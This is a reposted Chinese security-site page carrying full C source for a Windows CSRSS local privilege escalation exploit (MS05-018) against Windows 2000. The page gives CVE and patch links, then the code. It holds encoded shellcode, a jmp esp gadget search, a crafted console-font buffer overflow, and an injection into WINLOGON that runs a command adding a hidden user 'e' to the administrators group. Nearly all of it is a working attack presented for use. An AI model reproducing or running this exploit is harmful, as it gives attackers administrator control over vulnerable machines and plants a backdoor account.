Microsoft Windows CSRSS Local Privilege Escalation Exploit (MS05-018)

简介: 文章整理:天天安全网   作者:佚名   发布时间:2005-09-09漏洞资料:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551危险程度:中等影响范围:Microsoft Windows 2000/XP/2003解决办法:http://www.

文章整理:天天安全网   作者:佚名   发布时间:2005-09-09

漏洞资料:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551
危险程度:中等
影响范围:Microsoft Windows 2000/XP/2003
解决办法:http://www.microsoft.com/technet/security/bulletin/ms05-018.mspx

------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment (lib,"Advapi32.lib")

typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;

typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;

char decoder[]=
"/x8b/xdc"
"/xBE/x44/x59/x41/x53/x46/xBF/x44/x59/x34/x53/x47/x43/x39/x33/x75"
"/xFB/x83/xC3/x04/x80/x33/x97/x43/x39/x3B/x75/xF8/x45/x59/x41/x53";
//user=e
//pass=asd#321
char add_user[]=
"/x90/x90/x90/x90/x90/x90/x90/x8D/x7b/x98/xFF/x77/x14/x6A/x00/x68"
"/x2A/x04/x00/x00/xFF/x17/x8B/xD8/x6A/x04/x68/x00/x10/x00/x00/x68"
"/x00/x01/x00/x00/x6A/x00/x53/xFF/x57/x04/x8B/xF0/x6A/x00/x68/x00"
"/x01/x00/x00/x8D/x47/x18/x50/x56/x53/xFF/x57/x08/x33/xC0/x50/x50"
"/x56/xFF/x77/x10/x50/x50/x53/xFF/x57/x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];

char szConsoleTitle[256];

DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrsrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;

for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search /"FF E4/" in %s/n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
{
if(ptr[y] == (BYTE)'/xFF' && ptr[y+1] == (BYTE)'/xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found /"FF E4/"(jmp esp) in %X[%s]/n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;

hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;

memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");

//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)'/x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)'/x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='/x0';
strcat(sc, decode_end_sign);

return TRUE;
}

void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;


memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;

for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '/x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[-] search FF E4 failed./n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "/x90");
index = strlen((char *)csi.FaceName);

if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));

hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[-] CreateFileMapping failed:%d/n", GetLastError());
return;
}
printf("[+] CreateFileMapping OK!/n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
{
printf("[-] MapViewOfFile failed:%d/n", GetLastError());
return;
}
printf("[+] MapViewOfFile OK!/n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);

printf("[+] Send Exploit!/n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}

void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;

printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0/n"
"Affect: Windows 2000 sp3/sp4 (all language)/n"
"Coded by eyas <eyas at xfocus.org>/n"
"http://www.xfocus.net/n/n");

if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid/n/n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s/n", pe.th32ProcessID, pe.szExeFile);
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}

if(!dwPid) return;

if(!FreeConsole())
printf("[-] FreeConsole failed:%d/n", GetLastError());
else
{
printf("[+] FreeConsole ok./n");
if(!AllocConsole())
printf("[-] AllocConsole failed:%d/n", GetLastError());
else
printf("[+] AllocConsole ok./n");
}

dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK:/"%s/"/n", szConsoleTitle);
}
else
{
printf("[-] Get Console Title failed./n");
return;
}

hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X/n", hwnd);
else
{
printf("[-] can't found hwnd!/n");
return;
}

exploit(hwnd, dwPid);
printf("[+] Done./n");
}



目录
相关文章
|
4月前
|
Linux Windows
Linux01---目录结构,Linux系统下只有一个最顶级的树/,Windows系统有盘符概念,而Linux系统没有盘符概念,整个系统都在/根目录下,Linux 系统写法 /user/local
Linux01---目录结构,Linux系统下只有一个最顶级的树/,Windows系统有盘符概念,而Linux系统没有盘符概念,整个系统都在/根目录下,Linux 系统写法 /user/local
|
存储 监控 关系型数据库
安装解压版本的MySQL,安装过程中的常见命令,检查windows系统错误日志的方式来检查MySQL启动错误,关于Fatal error: Can&#39;t open and lock privilege
安装mysql 下载mysql-5.6.26-winx64,并解压到:D:\Installed\mysql-5.6.26-winx64\mysql-5.6.26-winx64 创建data目录 创建my.ini,内容如下: [mysql] # 设置mysql客户端默认字符集 default-character-set=utf8 [mysqld] #设置330
1478 0
|
Windows
Post-Exploitation in Windows: From Local Admin To Domain Admin (efficiently)
There are some excellent tools and techniques available to pentesters trying to convert their local admin rights into domain admin rights.
1066 0
|
Windows
Microsoft Windows "keybd_event" Local Privilege Escalation Exploit
文章整理:天天安全网   作者:佚名   发布时间:2005-09-09 漏洞资料:http://www.haxorcitos.com/MSRC-6005bgs-EN.
832 0
|
3天前
|
存储 安全 网络安全
Windows Server 本地安全策略
由于广泛使用及历史上存在的漏洞,Windows服务器成为黑客和恶意行为者的主要攻击目标。这些系统通常存储敏感数据并支持关键服务,因此组织需优先缓解风险,保障业务的完整性和连续性。常见的威胁包括勒索软件、拒绝服务攻击、内部威胁、恶意软件感染等。本地安全策略是Windows操作系统中用于管理计算机本地安全性设置的工具,主要包括用户账户策略、安全选项、安全设置等。实施强大的安全措施,如定期补丁更新、网络分段、入侵检测系统、数据加密等,对于加固Windows服务器至关重要。
|
1月前
|
边缘计算 安全 网络安全
|
27天前
|
数据安全/隐私保护 Windows
安装 Windows Server 2019
安装 Windows Server 2019
|
30天前
|
网络协议 Windows
Windows Server 2019 DHCP服务器搭建
Windows Server 2019 DHCP服务器搭建